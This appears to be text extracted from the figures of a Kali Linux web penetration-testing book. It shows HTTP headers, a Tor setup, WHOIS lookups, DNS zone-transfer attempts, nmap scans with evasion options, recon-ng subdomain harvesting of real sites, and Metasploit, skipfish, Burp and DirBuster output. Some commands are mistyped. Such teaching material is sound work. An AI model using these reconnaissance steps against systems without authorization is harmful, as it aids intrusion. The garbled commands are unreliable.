Chapter 1: Introduction to Penetration Testing and Web Applications

<table>
<thead>
<tr>
<th>name</th>
<th>value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>/ HTTP/1.1</td>
</tr>
<tr>
<td>Host</td>
<td>bing.com</td>
</tr>
<tr>
<td>User-Agent</td>
<td>Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) ...</td>
</tr>
<tr>
<td>Accept</td>
<td>text/html,application/xhtml+xml,application/xml;q=0.9,<em>/</em>;q=0.8</td>
</tr>
<tr>
<td>Accept-Language</td>
<td>en-us, en;q=0.5</td>
</tr>
<tr>
<td>Accept-Encoding</td>
<td>gzip, deflate</td>
</tr>
<tr>
<td>Accept-Charset</td>
<td>ISO-8859-1; utf-8, q=0.7;*;q=0.7</td>
</tr>
<tr>
<td>Keep-Alive</td>
<td>300</td>
</tr>
<tr>
<td>Proxy-Connection</td>
<td>keep-alive</td>
</tr>
<tr>
<td>Cookie</td>
<td>MUID=3ED2E7BAFA8A608B7245AE17DFEBA6375; SRCHD=AF=NOFORM; SRCURL=AUTORERI...</td>
</tr>
</tbody>
</table>

HTTP/1.1 200 OK
Cache-Control private, max-age=0
Content-Type text/html; charset=utf-8
Vary Accept-Encoding
Server Microsoft-IIS/8.5
PSF CF="NON UNIX NAV STA LOC CURa DEYa PSAg PSd a OUR IINd"
Set-Cookie SS=SSID=ED7B3D98C2064DC3965FBFF35C99C187; domain=bing.com; path=/
Edge-control no-store
X-MSEdge-Ref Ref A: 45D68B5086E4711AC947748BD9C98E Ref B: 4266EA752299B645036708BA2CE068...
Set-Cookie _EDGE_S=SSID=276593AABBBAB5606C631723C57F8186D26; path=/; http-only; domain=bing.com
Date Mon, 24 Nov 2014 07:35:42 GMT
Content-Length 57288

<table>
<thead>
<tr>
<th>name</th>
<th>value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>/search?q=Kali+Linux&amp;qs=n&amp;form=QBLH&amp;sp=0-0&amp;sp=-1&amp;sk=0&amp;cvid=e4e9c1850f3a434...</td>
</tr>
<tr>
<td>Host</td>
<td><a href="http://www.bing.com">www.bing.com</a></td>
</tr>
<tr>
<td>User-Agent</td>
<td>Mozilla/5.0 (X11; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) ...</td>
</tr>
<tr>
<td>Accept</td>
<td>text/html,application/xhtml+xml,application/xml;q=0.9,<em>/</em>;q=0.8</td>
</tr>
<tr>
<td>Accept-Language</td>
<td>en-us, en;q=0.5</td>
</tr>
<tr>
<td>Accept-Encoding</td>
<td>gzip, deflate</td>
</tr>
<tr>
<td>Accept-Charset</td>
<td>ISO-8859-1; utf-8, q=0.7;*;q=0.7</td>
</tr>
<tr>
<td>Keep-Alive</td>
<td>300</td>
</tr>
<tr>
<td>Proxy-Connection</td>
<td>keep-alive</td>
</tr>
<tr>
<td>Referer</td>
<td><a href="http://www.bing.com/">http://www.bing.com/</a></td>
</tr>
<tr>
<td>Cookie</td>
<td>MUID=3ED2E7BAFA8A608B7245AE17DFEBA6375; SRCHD=AF=NOFORM; SRCUID=V=2&amp;CUID=...</td>
</tr>
</tbody>
</table>

Parameter passed via the URL when using GET method
POST http://intranet.com:80/portal/index.php HTTP/1.1
Host: Webfarm1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.24) Gecko/20111003 Firefox/3.6.24
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://intranet.com/portal
Content-length: 18

username=admin&password=test&imageField2.x=26&imageField2.y=10

Parameters passed in the body of the HTTP request when using POST method

root@ubuntu:~# nc ebay.com 80
OPTIONS / HTTP/1.1
Host: ebay.com

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0
Date: Mon, 24 Nov 2014 17:59:57 GMT

1) Browser sends request

2) Server sets a cookie

3) Browser sends cookie back in subsequent requests
Chapter 2 Setting up Your Lab with Kali Linux
root@kali:/home# fdisk -l
Disk /dev/sda: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders, total 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

Disk /dev/sdb doesn't contain a valid partition table

Disk /dev/sdb: 16.0 GB, 16032629888 bytes
255 heads, 63 sectors/track, 1948 cylinders, total 31309824 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x04030201

Device Boot Start End Blocks Id System
/dev/sdb1 * 2168 31309823 15653368 7 HPFS/NTFS/exFAT

root@kali:/mnt/kali# dd if=kali-linux-2.0-amd64.iso of=/dev/sdb1 bs=1M
3001+1 records in
3001+1 records out
3147306884 bytes (3.1 GB) copied, 1333.76 s, 2.4 MB/s

root@kali:/mnt/kali#

![GParted partition screenshot]

GParted Edit View Device Partition Help

/dev/sdb1
2.87 GB

/dev/sdb2
9.77 GB

/dev/sdb3
1.74 GB

Create new Partition

Minimum size: 1 MB
Maximum size: 500 MB

Free space preceding (MB): 200
New size (MB): 300
Free space following (MB): 0
Align to: MB
Label: Persistence

Cancel Add
**Intercept Client Requests**

Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

- **Add request interception rule**
  - Specify the details of the interception rule.
  - **Boolean operator:** And
  - **Match type:** Domain name
  - **Match relationship:** Domain name
  - **Match condition:**
    - Protocol
    - HTTP method
    - URL
    - File extension
    - Request
    - Cookie name

- **Automatically fix missing**
- **Automatically update**

---

**Match and Replace**

These settings are used to automatically replace.

- **Add**
- **Enabled**
- **Item**
- **Match**
- **Replace**
- **Type**
- **Comment**

- **Request header** *User-Agent* $<value>$
  - User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20100406 Firefox/3.6.1
  - Request: Emulate IE

- **Request header** *User-Agent* $<value>$
  - User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20100406 Firefox/3.6.1
  - Request: Emulate Android

- **Request header** *User-Agent* $<value>$
  - User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20100406 Firefox/3.6.1
  - Request: Hide User-Agent header

- **Response header** *Set-Cookie* $<value>$
  - Request: Ignore cookies

- **Response header** *Host* $<value>$
  - Host: www.example.org, Host: bar.example.org
  - Request: Rewrite Host header

---

**Self-signed certificate generated by Burp proxy**

**Browser**

**Burp Proxy**

**Server**

Request

Response

Request

Response
This Connection is Untrusted

You have asked Iceweasel to connect securely to facebook.com, but we can't confirm that your connection is secure.

Normally, when you try to connect securely, sites will present trusted identification to prove that you are going to the right place. However, this site's identity can't be verified.

What Should I Do?

If you usually connect to this site without problems, this error could mean that someone is trying to impersonate the site, and you shouldn't continue.

- Get me out of here!

- Technical Details

- I Understand the Risks

[root@kali2 ~]

Please report synchronization problems to openvas-feed@intevation.de.
If you have any other questions, please use the OpenVAS mailing lists or the OpenVAS IRC chat. See http://www.openvas.org/ for details.

receiving incremental file list
./
sent 62 bytes  received 774 bytes  334.40 bytes/sec
total size is 11,439,668 speedup is 13.673.29
[wb] No CERT-Bund advisories found in /var/lib/openvas/cert-data
[i] Skipping /var/lib/openvas/cert-data/dfn-cert-2008.xml, file is older than last revision
[i] Skipping /var/lib/openvas/cert-data/dfn-cert-2009.xml, file is older than last revision
[i] Skipping /var/lib/openvas/cert-data/dfn-cert-2010.xml, file is older than last revision
[i] Skipping /var/lib/openvas/cert-data/dfn-cert-2011.xml, file is older than last revision
[i] Skipping /var/lib/openvas/cert-data/dfn-cert-2012.xml, file is older than last revision
[i] Updating /var/lib/openvas/cert-data/dfn-cert-2013.xml
[i] Updating /var/lib/openvas/cert-data/dfn-cert-2014.xml
[i] Updating /var/lib/openvas/cert-data/dfn-cert-2015.xml
[i] Updating Max CVES for CERT-Bund
[i] Updating Max CVES for DFN-CERT
Rebuilding NVT cache... done.
User created with password '3091da35-f060-4b52-a6d2-1ef8196612cc'.
[root@kali2 ~]#
Welcome dear new user!
To explore this powerful application and to have a quick start for doing things the first time, I am here to assist you with some hints and shortcuts.
I will appear automatically in areas where you have created no or only a few objects. And disappear when you have more than 3 objects. You can call me with this icon.

Quick start: Immediately scan an IP address

For this shortcut, I will do the following for you:
1. Create a new Target with default Port list
2. Create a new Task using the target with default Scan Configuration

How Tor Works

Alice’s Tor client picks a random path to destination server. Green links are encrypted, red links are in the clear.
root@kali:~# apt-get install tor privoxy
Reading package lists... Done
Building dependency tree
Reading state information... Done
privoxy is already the newest version.
The following extra packages will be installed:
  tor-geoipdb torsocks
Suggested packages:
  mixmaster xul-ext-torbutton tor-arm apparmor-utils
The following NEW packages will be installed:
  tor tor-geoipdb torsocks
0 upgraded, 3 newly installed, 0 to remove and 366 not upgraded.
Need to get 2,511 kB of archives.
After this operation, 6,504 kB of additional disk space will be used.
Do you want to continue [Y/n]? y

root@kali:~/var/log/tor#
root@kali:~/var/log/tor#
root@kali:~/var/log/tor# echo "forward-socks4a "127.0.0.1:9050" >>> /etc/privoxy/config
root@kali:~/var/log/tor#

root@kali:~# /etc/init.d/tor start
[ ok ] Starting tor daemon... done (already running).
root@kali:~# /etc/init.d/privoxy start
root@kali:~# /etc/init.d/privoxy start
root@kali:~# netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
PID/Program name tcp 0 0 127.0.0.1:9050 LISTEN
45979/tor tcp 0 0 ::1:8118 LISTEN
44274/privoxy udp 0 0.0.0.0:68 0.0.0.0:*
2610/dhclient udp 0 0.0.0.0:45405 0.0.0.0:*
2610/dhclient udp 0 0.0.0.0:33721 ::*
2610/dhclient
root@kali:~#
Connection Settings

Configure Proxies to Access the Internet

- No proxy
- Auto-detect proxy settings for this network
- Use system proxy settings
- Manual proxy configuration:

  HTTP Proxy: 127.0.0.1 Port: 8118

  Use this proxy server for all protocols

  SSL Proxy: Port: 0

  FTP Proxy: Port: 0

  SOCKS Host: Port: 0

- SOCKS v4
- SOCKS v5

Congratulations. This browser is configured to use Tor.

Your IP address appears to be: 77.247.181.162
Chapter 3: Reconnaissance and Profiling the Web Server
Domain Name: FACEBOOK.COM
Registrar: MARKMONITOR INC.
Whois Server: whois.markmonitor.com
Referral URL: http://www.markmonitor.com
Name Server: A.NS.FACEBOOK.COM
Name Server: B.NS.FACEBOOK.COM
Status: clientDeleteProhibited
Status: clientTransferProhibited
Status: clientUpdateProhibited
Status: serverDeleteProhibited
Status: serverTransferProhibited
Status: serverUpdateProhibited
Updated Date: 28-sep-2012
Creation Date: 29-mar-1997
Expiration Date: 30-mar-2020
Registry Registrant ID:
Registrant Name: Domain Administrator
Registrant Organization: Facebook, Inc.
Registrant Street: 1601 Willow Road,
Registrant City: Menlo Park
Registrant State/Province: CA
Registrant Postal Code: 94025
Registrant Country: US
Registrant Phone: +1.6505434800
Registrant Phone Ext:
Registrant Fax: +1.6505434800
root@Kali:~# dig @192.168.1.50 pentesting_lab.com -t AXFR

; <<>> DIG 9.8.4-rpz2+p1005.12-P1 @192.168.1.50 pentesting_lab.com -t AXFR
; (1 server found)
;; global options: +cmd

; Domain: pentesting_lab.com. 3600 IN SOA
  @.         3600 89306 0 86460 3600
; Name: pentesting_lab.com. 3600 IN NS
  citrix_1.pentesting_lab.com. 3600 IN A 192.168.1.100
  DC1.pentesting_lab.com. 3600 IN A 192.168.43.56
  F5_Load.pentesting_lab.com. 3600 IN A 192.168.1.111
  ftp.pentesting_lab.com. 3600 IN A 28.21.45.123
  Mail.pentesting_lab.com. 3600 IN A 192.168.1.95
  Prod_SRV1.pentesting_lab.com. 3600 IN A 192.168.1.81
  webserver.pentesting_lab.com. 3600 IN A 192.168.1.60

root@Kali:~# dig @69.171.230.12 facebook.com -t AXFR
;; Connection to 69.171.230.12#53(69.171.230.12) for facebook.com failed: connection refused.

root@kali:~# nmap --script dns-brute --script-args dns-brute.domain=pentesting-lab.com

Starting Nmap 6.40 ( http://nmap.org ) at 2014-12-10 15:13 UTC
Pre-scan script results:
  dns-brute:
    DNS Brute-force hostnames
    www.pentesting-lab.com - 196.123.34.45
    admin.pentesting-lab.com - 196.123.34.65
    dev.pentesting-lab.com - 261.34.166.1
    chat.pentesting-lab.com - 23.34.124.33
    citrix.pentesting-lab.com - 196.123.34.65
    sms.pentesting-lab.com - 23.34.134.21
[recon-ng][default] > show modules

Discovery
-------
discovery/info_disclosure/cache_snoop
discovery/info_disclosure/interesting_files

Exploitation
------------
exploitation/injection/commend_injector
exploitation/injection/xpath_bruter

Import
-------
import/csv_file

Recon
-----
recon/companies-contacts/facebook
recon/companies-contacts/jigsaw
recon/companies-contacts/jigsaw/point_usage
recon/companies-contacts/jigsaw/purchase_contact
recon/companies-contacts/jigsaw/search_contacts

[recon-ng][default] > keys add bing_api
[recon-ng][default] > keys list

+-----------+--------------+
<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>bing_api</td>
<td></td>
</tr>
<tr>
<td>built_with_api</td>
<td></td>
</tr>
<tr>
<td>facebook_api</td>
<td></td>
</tr>
<tr>
<td>facebook_password</td>
<td></td>
</tr>
<tr>
<td>facebook_secret</td>
<td></td>
</tr>
<tr>
<td>facebook_username</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Name: Bing API Hostname Enumerator
Path: modules/recon/domains-hosts/bing_domain_api.py
Author: Marcus Watson (@BranMacMuffin)

Description:
Leverages the Bing API and "domain:" advanced search operator to harvest hosts.

with the results.

Options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Value</th>
<th>Req</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>LIMIT</td>
<td>0</td>
<td>yes</td>
<td>limit total number of api requests (0 = unlimited)</td>
</tr>
<tr>
<td>SOURCE</td>
<td>yahoo.com</td>
<td>yes</td>
<td>source of input (see 'show info' for details)</td>
</tr>
</tbody>
</table>

Source Options:
- `default` SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL ORDER BY domain
- `<string>` string representing a single input
- `<path>` path to a file containing a list of inputs
- `<query <sql>>` database query returning one column of inputs

[recon-ng][default][bing_domain_api] > set SOURCE facebook.com
SOURCE => facebook.com

[recon-ng][default][bing_domain_api] > run

SEARCHING Bing API for: 'domain:facebook.com'

facebook.com
social-facebook.com
face-jr.facebook.com
social-ga.allfacebook.com
lcl1v.facebook.com
en-gb.facebook.com
pixel.facebook.com
developers.facebook.com
mbasic.facebook.com
1.facebook.com
m2.facebook.com

[recon-ng][default][csv] > show

countries  companies  locations  pushpins
contacts    hosts      modules    schema
credentials info       netblocks  source
dashboard   keys       options    vulnerabilities
domains     leaks      ports      workspaces

[recon-ng][default][csv] > show
[recon-ng][default] > use reporting/
reporting/csv reporting/list reporting/xml
reporting/html reporting/pushpin
[recon-ng][default] > use reporting/csv
[recon-ng][default][csv] > show options

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>FILENAME</td>
<td>/root/.recon-ng/workspaces/default/results.csv</td>
</tr>
<tr>
<td>TABLE</td>
<td>domains</td>
</tr>
</tbody>
</table>

[recon-ng][default][csv] > set TABLE domains
TABLE => domains
[recon-ng][default][csv] > run

```
root@Kali:/usr/bin# nmap -sT 192.168.1.63
Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-10 15:27 IST
Nmap scan report for 192.168.1.63
Host is up (0.00076s latency).
Not shown: 990 closed ports
PORT       STATE SERVICE
22/tcp     open ssh
80/tcp      open http
MAC Address: 00:0c:29:92:66:6A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds
```

```
root@Kali:/usr/bin# nmap -sT 192.168.1.63 -tcp-ports 5
Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-10 15:28 IST
Nmap scan report for 192.168.1.63
Host is up (0.022s latency).
PORT       STATE SERVICE
21/tcp     closed ftp
22/tcp     open ssh
23/tcp     closed telnet
80/tcp      open http
443/tcp     closed https
MAC Address: 00:0c:29:92:66:6A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds
```

```
root@Kali:/usr/bin# nmap -sT 192.168.1.63 -p 194
Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-10 15:28 IST
Nmap scan report for 192.168.1.63
Host is up (0.00040s latency).
PORT       STATE SERVICE
194/tcp     closed irc
MAC Address: 00:0c:29:92:66:6A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
```
root@Kali:/usr/bin# nmap -sT --spoof-mac Cisco 192.168.1.63 -p 80

Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-10 18:05 IST
Spoofing MAC address 00:00:0C:39:DD:26 (Cisco Systems)
Nmap scan report for 192.168.1.63
Host is up (0.00050s latency).
PORT STATE    SERVICE
80/tcp filtered http
MAC Address: 00:0C:29:92:66:6A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
root@Kali:/usr/bin#

root@Kali:/usr/bin# nmap --badsum 192.168.1.63 -p 4567

Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-10 19:05 IST
Nmap scan report for 192.168.1.63
Host is up (0.00048s latency).
PORT STATE    SERVICE
4567/tcp filtered tram
MAC Address: 00:0C:29:92:66:6A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds
root@Kali:/usr/bin#
```
root@Kali:/usr/bin# nmap -n -O -sT -v 192.168.1.63 -p 80,5566
Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-10 19:36 IST
Initiating ARP Ping Scan at 19:36
Scanning 192.168.1.63 [1 port]
Completed ARP Ping Scan at 19:36, 0.02s elapsed (1 total hosts)
Initiating Connect Scan at 19:36
Scanning 192.168.1.63 [2 ports]
Discovered open port 80/tcp on 192.168.1.63
Completed Connect Scan at 19:36, 0.00s elapsed (2 total ports)
Initiating OS detection (try #1) against 192.168.1.63
Nmap scan report for 192.168.1.63
Host is up (0.0053s latency).
PORT   STATE     SERVICE
80/tcp  open     http
5566/tcp closed westec-connect
MAC Address: 00:0C:29:92:66:6A (VMware)
Device type: general purpose
Running: Linux 2.6.x
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32
Uptime guess: 0.236 days (since Wed Dec 10 13:56:52 2014)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
```
root@Kali:/usr/bin# nmap -sV 192.168.1.63
Starting Nmap 6.47 (http://nmap.org) at 2014-12-11 01:17 IST
Nmap scan report for 192.168.1.63
Host is up (0.000058s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open  ssh  OpenSSH 5.5p1 Debian 6 (pro
80/tcp open  http  Apache httpd 2.2.15 ((Debian))
MAC Address: 00:0C:29:92:06:6A (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at http://nmap.org/submit
Nmap done: 1 IP address (1 host up) scanned in 6.50 seconds
root@Kali:/usr/bin#
root@Kali:/usr/bin# nmap -A 192.168.1.63
Starting Nmap 6.47 (http://nmap.org) at 2014-12-11 01:17 IST
Nmap scan report for 192.168.1.63
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open  ssh  OpenSSH 5.5p1 Debian 6 (pro
| ssh-hostkey:
| 2 2048 0c:3e:65:eb:3c:cd:02:b0:82:34:ab:d7:d7:3a:07:2c (RSA)
80/tcp open  http  Apache httpd 2.2.15 ((Debian))
| http-methods: No Allow or Public header in OPTIONS response (status code 200)
| http-title: PentesterLab vulnerable blog
MAC Address: 00:0C:29:92:06:6A (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 1.32 ms 192.168.1.63
### Neighbors

<table>
<thead>
<tr>
<th>Neighbor domain name</th>
<th>Associated date</th>
<th>Title</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>en.wikipedia.org</td>
<td>2015-01-27</td>
<td>Wikipedia, the free encyclopedia</td>
<td>Whois</td>
</tr>
<tr>
<td>fr.wikipedia.org</td>
<td>2015-03-10</td>
<td>Wikipe...</td>
<td>Whois</td>
</tr>
<tr>
<td>de.wikipedia.org</td>
<td>2014-03-01</td>
<td>Wikipedia</td>
<td>Whois</td>
</tr>
<tr>
<td>ru.wikipedia.org</td>
<td>2014-11-12</td>
<td>Википедия</td>
<td>Whois</td>
</tr>
<tr>
<td>hi.wikipedia.org</td>
<td>2015-10-02</td>
<td>हिंदी विकिपीडिया</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2014-10-14</td>
<td>中文维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2015-01-07</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2015-01-27</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2014-12-10</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2015-02-01</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2015-03-10</td>
<td>中文维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2014-03-01</td>
<td>中文维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2014-03-10</td>
<td>中文维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2015-01-27</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2014-12-10</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2015-01-07</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2014-12-10</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2015-01-07</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2014-12-10</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2015-01-07</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
<tr>
<td>zh.wikipedia.org</td>
<td>2014-12-10</td>
<td>维基百科</td>
<td>Whois</td>
</tr>
</tbody>
</table>
[recon-ng][default] > load recon/host-hosts/ip_neighbor
[recon-ng][default][ip_neighbor] > set SOURCE wikipedia.org
SOURCE => wikipedia.org
[recon-ng][default][ip_neighbor] > run

--------------------
WIKIPEDIA.ORG
--------------------
[+] URL: http://www.my-ip-neighbors.com/?domain=wikipedia.org
[+] en.wikipedia.org
[+] en.wiktionary.org
[+] mediawiki.org
[+] simple.wikipedia.org
[+] wikibooks.org
[+] wikidata.org
[+] wikimedia.org
[+] wikinews.org
[+] wikipedia.com
[+] wikipedia.org
[+] wikiquote.org
[+] wikisource.org
[+] wikiprove.org
[+] wikivoyage.org
[+] wiktionary.org

Burp Suite Free Edition v1.6
Target | Proxy | Spider | Scanner | Intruder | Repeater | Sequence | Decoder | Comparator | Extender | Options | Alerts
Intercept HTTP History | WebSockets History | Options
Intercept is on
Forward Drop Intercept
Response From
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Set-Cookie: unSelfMobile=False; path=/; HttpOnly
Set-Cookie: unSelfMobile=False; path=/; HttpOnly
Set-Cookie: language=en_US; path=/; HttpOnly
Date: Sat, 09 Jan 2015 20:29:09 GMT
Content-Length: 2019
Strict-Transport-Security: max-age=6300
Set-Cookie: B3GisServerProd_pipeline9235653295,20480,0000; Path=/
Server: F5
Vary: Accept-Encoding
Connection: Keep-Alive
root@Kali:~}# rmap --script=http-methods.nse 192.168.1.8

Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-03 12:55 IST
Nmap scan report for 192.168.1.8
Host is up (0.00050s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
22/tcp    open    ssh
80/tcp    open    http
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
10000/tcp open    snet-sensor-mgmt
MAC Address: 00:0C:29:12:90:8E (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds
root@Kali:~}#
msf > wmap_sites -a http://192.168.1.8 ①
[*] Site created.
msf > wmap_sites -l ②
[*] Available sites

--- --- ------- ---- ------ ----- ------
0 192.168.1.8 192.168.1.8 80  http 0 0

msf > wmap_targets -d 0 ③
msf > wmap_targets -l
[*] Defined targets

--- --- ------- ---- ------ ------
0 192.168.1.8 192.168.1.8 80 false /
msf > wmap_run -t
[*] Testing target:
[*]   Site: 192.168.1.8 (192.168.1.8)
[*]   Port: 80 SSL: false

Testing started. 2015-01-04 02:13:56 +0530

[*] SSL testing ]=  
Target is not SSL. SSL modules disabled.

[*] Web Server testing ]=  
Module auxiliary/scanner/http/http_version
Module auxiliary/scanner/http/open_proxy
Module auxiliary/scanner/http/robots_txt
Module auxiliary/scanner/http/frontpage_login

msf > wmap_run -e

Launch completed in 683.3379385471344 seconds.

[*] Done.
msf > clear
[*] exec: clear

msf > vulns
[*] Time: 2015-01-04 20:45:08 UTC Vuln: host=192.168.1.8 name=HTTP Trace Method Allowed
,BlD-9566,BID-9561

root@Kali:~# skipfish -o ~/Desktop/results/ http://192.168.1.8
### Issue type overview - click to expand:

- **Interesting server message (8)**
- **Incorrect or missing charset (higher risk) (4)**
- **XSS vector in document body (4)**
  1. `http://[IP]:[PORT]/comment.php?comment=...` (dangerous)
  2. `http://[IP]:[PORT]/comment.php?comment=...` (dangerous)
- **HTML form with no apparent XSRF protection (4)**
  1. `http://[IP]:[PORT]/comment.php?comment=...` (dangerous)
  2. `http://[IP]:[PORT]/comment.php?comment=...` (dangerous)
- **Incorrect or missing charset (low risk) (1)**
  1. `http://[IP]:[PORT]/comment.php?comment=...` (dangerous)
- **Incorrect or missing MIME type (low risk) (1)**
  1. `http://[IP]:[PORT]/aboutme.html` (dangerous)
- **Password entry form - consider brute-force (1)**
  1. `http://[IP]:[PORT]/comment.php?comment=...` (dangerous)
- **Unknown form field (can't autocomplete) (2)**
- **Hidden files/directories (1)**
- **Directory listing enabled (1)**
- **New 404 signature seen (3)**
- **New X-Forwarded-For header value seen (4)**
- **New 'Server' header value seen (2)**
- **New HTTP cookie added (1)**

### Burp Suite Free Edition v1.6.01

![Burp Suite interface](image)

- **Target**
- **Proxy**
- **Spider**
- **Scanner**
- **Intruder**
- **Repeater**
- **Sequence Editor**
- **Decoder**
- **Comparer**
- **Extender**
- **Options**
- **Alerts**

#### FCAH:
- Hiding not found errors, hiding CSS, image and generic binary content, hiding .txt responses, hiding empty folders

#### Request/Response:

**GET / HTTP/1.1**

- **Host:** sizzlejs.com
- **Accept:** */*
- **Accept-Language:** en
- **User-Agent:** Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
- **Connection:** close
**Spider Status**

Use these settings to monitor and control Burp Spider. To begin spidering, target site map, and choose "Spider this host / branch".

- Spider is running
- Clear queues

Requests made: 444
Bytes transferred: 3,130,073
Requests queued: 0
Forms queued: 0

**Spider Scope**

- Use suite scope (defined in Target tab)
- Use custom scope

**Application Login**

These settings control how the Spider submits login forms.

- Don't submit login forms
- Prompt for guidance
- Handle as ordinary forms
- Automatically submit these credentials

Username: [Enter username]
Password: [Enter password]
Burp Spider needs your guidance to submit a login form. Please choose the value of each form field which should be used when submitting the form. You can control how Burp handles forms in the Spider options tab.

Action URL: http://192.168.1.70/dvwa/login.php
Method: POST

<table>
<thead>
<tr>
<th>Type</th>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Text</td>
<td>username</td>
<td></td>
</tr>
<tr>
<td>Submit</td>
<td></td>
<td>Login=Login</td>
</tr>
<tr>
<td>Password</td>
<td>password</td>
<td></td>
</tr>
</tbody>
</table>

Summary of reconnaissance and scanning phase using tools in Kali Linux
Chapter 4: Major Flaws in Web Applications

**OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing**

- **Target URL**: http://192.168.1.66/dvwa
- **Dictionary file to use**: /usr/share/dirbuster/wordlists/directory-list-1.0.txt

**WebScarab**

- **Web Vulnerabilities**: 1. Admin Credentials, 2. User Credentials
POST /form/login.php HTTP/1.1
Host: www.testlab.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: 50-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
